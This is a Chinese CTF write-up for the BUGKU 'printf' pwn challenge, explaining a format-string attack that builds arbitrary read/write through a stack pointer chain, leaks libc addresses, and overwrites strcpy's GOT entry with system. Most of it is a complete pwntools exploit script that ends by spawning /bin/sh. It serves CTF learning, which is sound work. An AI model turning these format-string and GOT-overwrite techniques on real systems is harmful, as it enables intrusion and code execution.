当前位置: 首页 > article >正文

BUGKU printf

整体思路

实现循环-->获取libc版本和system函数地址->将strcpy的got表项修改为system并获得shell

第一步:实现循环

从汇编语句可以看出,在每次循环结束时若0x201700处的值是否大于1则会继续循环。

encode1会将编码后的结果保存至0x2015c0处,而encode 1的编码逻辑比较简单,key的长度为0时明文和密文是一样的,因此只需传入b'\x00'为key以及写入一段长的内容使得0x201700的值是一个比较大的正整数即可。

第二步:获取libc版本和system函数地址

要获取libc版本,需要找到部分libc中的函数的地址,例如puts,read,printf,本题我们想办法找到puts和read函数的地址。

注意到,encode2在末尾调用了printf,且将密文作为唯一字符串传参,这意味着存在格式化漏洞。格式化漏洞的题目在首个参数位于栈上时并不困难,但encode2的密文并不是保存在栈上。

万变不离其宗:printf任意地址打印或写入的前提是我们能够把任意值写入到栈上的某个地方。

此外,由于每次循环只能printf一次,所以要注意这个保存任意地址的栈上的某个地方不能在下次调用printf前被其他内容覆盖掉。建议是从main函数栈尾(rbp)往上找,通常来说这段栈在main函数结束前不会被覆盖。(当然你也可以随便找一个会被回收的地方,然后赌下次调用前值是否被覆盖)

翻遍了代码,我没有找到一个能够直接在main的rbp往上的地方写入任意值的方法。

那么我们只能曲线救国,通常当字符串不在栈上时,要想往栈上某个地方写入任意值,我们就要找栈中是否存在一个超过3个元素的地址链条:p1-->p2-->p3,p2和p3要满足在printf调用后到下次调用前不被别的值覆盖。

通过调试发现,encode2函数中,printf的第14个参数(记作$14)正好指向$50,而$50正好指向$54,更有趣的是$50中保存的是main函数的rbp寄存器的值,这意味着$54是main函数的栈尾。显然,$50和$54在循环间是不会被覆盖的。

现在我们有了这个链条,具体要怎么往栈上某处写入任意值呢?

这个某处就是p3,这题是$54。

假设此时$54为0x0, $50处为0x7fff6550

我要往$54写入0x1234567887654321,假设此时$50处为0x7fff6550

首先使用"%87c%14$hhn",$50的最低字节会被写入0x57从而变成0x7fff6557

然后使用"%18c%50$hhn",$54的最高字节会被写入0x12从而变成0x1200000000000000

接着使用"%86c%14$hhn",$50的最低字节会被写入0x56从而变成0x7fff6556

然后使用"%52c%14$hhn",$54的最高字节会被写入0x34从而变成0x1234000000000000

如此往复,直到把$54写成0x1234567887654321为止。

既然能实现$54的任意内容读写,那我们当然也能实现任意地址读了,只需通过上述方法往$54处写入任意地址,然后用"%54$s"即可读出。那如何实现任意地址写呢?假设我们要往0x1234处写入0x5678,首先先通过上述方法把$54写成0x1234,然后通过$50不断修改$54的最低字节并通过$54修改对应内存即可。

通过上述方法,我们可以轻易打印出puts和read函数的地址,然后利用LibcSearcher函数搜索libc版本并获取system地址。

第三步:将strcpy的got表项修改为system并获取shell

为什么是修改strcpy?

考虑到本题字符串不在栈上,对任意地址的写入要通过多个循环完成,这意味着用于必须选择一个不在这些循环中被调用到的函数,而puts,read,printf都不行,同时我们还必须能够传入想要的字符串到rdi中,正好encode3中的strcpy满足了这一条件。

源码如下:

需要注意的是,不同系统中的p1-->p2-->p3链条可能存在差异,博主测试发现Ubuntu 24.04中的链条是$22->$50->$54,而centos 8上则是$14->$50->$54,BUGKU官方靶机也是$14->$50->$54。

from pwn import *
from LibcSearcher import *

context(os = 'linux', arch = 'amd64')
sh = process('./pwn6')
# sh = remote('114.67.175.224', 18702)

# 构建encode2的密文->明文映射
c2m_v2 = {}
for a in range(256):
    c2m_v2[((a & 192) >> 6) + (a & 48) * 4 + (a & 12) * 4 + (a & 3) * 4] = a

# 构建encode3密文->明文映射
c2m_v3 = {}
for a in range(256):
    k = ((a & 192) >> 2) + ((a & 48) >> 2) + ((a & 12) >> 2) + a * 64
    c2m_v3[k%256] = a

# 写入201700处实现无限重入
sh.sendlineafter('choice:\n', '1')
sh.sendafter('keys?\n', b'\x00')    # 使得密文等于明文
sh.sendafter('to encode:\n', b'\x00' * 0x140 + p64(0x01111111))

def get_ptr(n):
    sh.sendlineafter('choice:\n', '2')
    cipher = '%' + str(n) + '$p\x00'
    plain = ''.join([ chr(c2m_v2[ord(i)]) for i in cipher ])
    sh.sendafter('to encode:\n', plain)
    sentence = sh.recvuntil('nice encoding', drop=True)
    addr = b'0x' + sentence.split(b'0x')[-1]
    addr = addr.decode('utf-8')
    addr = int(addr, 16)
    return addr

def get_value(n):
    sh.sendlineafter('choice:\n', '2')
    cipher = '%' + str(n) + '$s\x00'
    plain = ''.join([ chr(c2m_v2[ord(i)]) for i in cipher ])
    sh.sendafter('to encode:\n', plain)
    sentence = sh.recvuntil('nice encoding', drop=True)
    value = u64(sentence[-6:].ljust(8, b'\x00'))
    return value


def write_to_54(addr):
    content_50 = get_ptr(50);
    for j in range(8):
        
        i = 7 - j
        # write last byte of %50 from %14
        last_byte = content_50 % 0x100 + i
        sh.sendlineafter('choice:\n', '2')
        cipher = '%' + str(last_byte) + 'c%14$hhn\x00'
        plain = ''.join([ chr(c2m_v2[ord(k)]) for k in cipher ])
        sh.sendafter('to encode:\n', plain)
        
        # write i-th byte of %54 from %50
        addr_byte = (addr & (0xff << (8*i))) >> (8*i)
        sh.sendlineafter('choice:\n', '2')
        cipher = '%' + str(addr_byte) + 'c%50$hhn\x00'
        if addr_byte == 0:
            cipher = '%50$hhn\x00'
        plain = ''.join([ chr(c2m_v2[ord(k)]) for k in cipher ])
        sh.sendafter('to encode:\n', plain)

def write_from_54(addr, value):
    for j in range(8):
        
        i = 7 - j
        
        # write last byte of %54 from %50
        last_byte = addr % 0x100 + i
        sh.sendlineafter('choice:\n', '2')
        cipher = '%' + str(last_byte) + 'c%50$hhn\x00'
        plain = ''.join([ chr(c2m_v2[ord(k)]) for k in cipher ])
        sh.sendafter('to encode:\n', plain)
        
        # write i-th byte of addr from %54
        value_byte = (value & (0xff << (8*i))) >> (8*i)
        sh.sendlineafter('choice:\n', '2')
        cipher = '%' + str(value_byte) + 'c%54$hhn\x00'
        if value_byte == 0:
            cipher = '%54$hhn\x00'
        plain = ''.join([ chr(c2m_v2[ord(k)]) for k in cipher ])
        sh.sendafter('to encode:\n', plain)

# 任意地址写
def modify(addr, value):
    # value至少得有六字节
    write_to_54(addr)
    write_from_54(addr, value)

# 任意地址读
def get_value_of(addr):
    write_to_54(addr)
    return get_value(54)

# PIE基地址
base_addr = get_ptr(51) - 0xe5b

# 获取puts和read函数的地址
puts_got = base_addr + 0x201550
read_got = base_addr + 0x201560
    
puts_addr = get_value_of(puts_got)
read_addr = get_value_of(read_got)

# 搜索libc版本
libc = LibcSearcher("read", read_addr)
libc.add_condition("puts", puts_addr)

# 获取system函数地址
libc_base_addr = read_addr - libc.dump('read')
system_addr = libc_base_addr + libc.dump("system")
print('system_addr', hex(system_addr))

# printf修改strcpy的got使得指向system
strcpy_got = base_addr + 0x201580
modify(strcpy_got, system_addr)

# 获取shell
sh.sendlineafter('choice:\n', '3')
cipher = '/bin/sh\x00'
plain = ''.join([ chr(c2m_v3[ord(k)]) for k in cipher ])
sh.sendafter('to encode:\n', plain)
sh.recv()
sh.interactive()


http://www.kler.cn/a/418011.html

相关文章:

  • 三十二:网络爬虫的工作原理与应对方式
  • 龙蜥 Linux 安装 JDK
  • 【css实现收货地址下边的平行四边形彩色线条】
  • 缓存与缓冲
  • 亚马逊API拿取商品详情
  • 【超全总结】深度学习分割模型的损失函数类别及应用场景
  • Electron builder打包配置
  • Adversarial Learning forSemi-Supervised Semantic Segmentation
  • 第二讲:C++基础语法与程序结构
  • 如何启动 Docker 服务:全面指南
  • python学习笔记8-函数2
  • 引出泛型 实现一个类,类中包含一个数组成员,使得数组中可以存放任何类型的数据,也可以根据成员方法返回数组中某个下标的值?
  • 从零开始学 Maven:简化 Java 项目的构建与管理
  • 数学题转excel;数学题库;数学试卷转excel;大风车excel
  • spring boot如何进行安全测试和渗透测试?
  • 使用ESP32通过Arduino IDE点亮1.8寸TFT显示屏
  • windows下osg程序键盘输入导致程序卡死问题
  • 【天地图】HTML页面实现车辆轨迹、起始点标记和轨迹打点的完整功能
  • windows安装itop
  • 算法刷题Day1
  • 探索 IntelliJ IDEA 中 Spring Boot 运行配置
  • 不玩PS抠图了,改玩Python抠图
  • QT实战--qt各种按钮实现
  • yagmail邮件发送库:如何用Python实现自动化邮件营销?
  • boss上测试面试宝典总结
  • 【MySQL】Win10同时安装MySQL8 MySQL5.7教程